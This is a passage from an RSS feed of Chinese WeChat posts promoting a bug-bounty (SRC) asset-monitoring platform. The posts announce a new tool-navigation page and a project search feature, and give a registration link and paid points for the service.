1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、当前解锁有效项目超过 3 个</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">注册地址：</span></span><span leaf=""><a href="http://src.xazlsec.com" target="_blank">http://src.xazlsec.com</a></span><span style="box-sizing: border-box;"><span leaf="">（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5555555555555556" data-s="300,640" data-type="jpeg" data-w="900" type="block" data-imgfileid="100016742" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7aa9e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTYCLG3nbQGj1PzcHTtGjMtGo3dibibDzKxxWTicH9x3F1oz7TJO7GDmIp9Zr0uoZZLf1MmLXmlWRiaGFhF3Yom896b6aO5eueXjVm4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=968dee1f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500475%26idx%3D1%26sn%3Dfb11ff279775e150e67c84332e867661">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Mar 2026 09:05:00 +0800</pubDate>
    </item>
    <item>
      <title>新增工具导航页，赋能在线挖洞！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500461&amp;idx=1&amp;sn=b02778ac076b7e32ac72e0d96fb6823f</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-03-20 07:56</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=20763729&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTb1VsOxw7ib8z2Imfk2lJlqrqN08l3agkfB9M5fY2giaDGwLibtHZlTACibiagcbgM9rC55qx5FqS2rWEFyq3UO6lO3mFLMA5ibD3TDo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">今天没有新上的 SRC 活动，今天给大家分享一个平台的更新，先来看看当前 SRC 活动：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260319083036444" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016806" data-ratio="0.524074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2bd10abe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTaN3LdHv72Mfp4HreLjzjej2QHa4BWG2zKfTb4l9cpCvazuh97iaKqxKOOOsvAXkxGibhSFe5O1KMOvx4ibDC2N7OJWuRAdWnTmJ8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">为了方便测试，在 SRC 平台，增加了工具导航页面，将挖 SRC 的常用工具集成到这里，可以一键跳转：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260320075132175" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016805" data-ratio="0.3888888888888889" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=913bc3fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbzbHoyDk6u0HwpB7PYe3xuh1mxlqn6hbrfon6RmFq7LP1oLIyKyKXHrNoibHazEbOVW1fZeicKlcXjPI1bBKcKNowgQB9icGzxds%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260320075151554" class="rich_pages wxw-img" data-ratio="0.5425925925925926" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016807" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f306e1ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTbOWXdh57FFx1qzzqgkniaeQ4WGBFVISV88q9fCmN0fbFuDyRZx4TVDkZmVu1bickne7z3zsICmcicM2bdlSuAp7YCXYiapI1mWnGI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260320075207142" class="rich_pages wxw-img" data-ratio="0.5296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016808" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=917fa3e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTaV3CVrMfnzAOgTiatBpo6Gdhf4iajicysibqibY9a49QBxbShpicKYJFGayrASUUG3rjtM7dfPDjP7ONKDr48g0syibD7JunMvJLgcpY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">项目库有点小更新，增加了项目搜索，找 SRC 更方便：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260320075246996" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016809" data-ratio="0.49074074074074076" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b44bd33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYUIHSB7W2od6CbDIRs13VnKnoINO5JmrsvtK8tS2Q8D6PEgH9QLpW1IPiadnSXGPYRZTYpPicFqT8hfsQsGjZJ4GKA6LEvOqEho%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">注册地址：</span></span><span leaf=""><a href="http://src.xazlsec.com" target="_blank">http://src.xazlsec.com</a></span><span style="box-sizing: border-box;"><span leaf="">（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016742" data-ratio="0.5555555555555556" data-s="300,640" data-type="jpeg" data-w="900" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7aa9e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTYCLG3nbQGj1PzcHTtGjMtGo3dibibDzKxxWTicH9x3F1oz7TJO7GDmIp9Zr0uoZZLf1MmLXmlWRiaGFhF3Yom896b6aO5eueXjVm4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=adf75dd6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500461%26idx%3D1%26sn%3Db02778ac076b7e32ac72e0d96fb6823f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 20 Mar 2026 07:56:00 +0800</pubDate>
    </item>
  </channel>
</rss>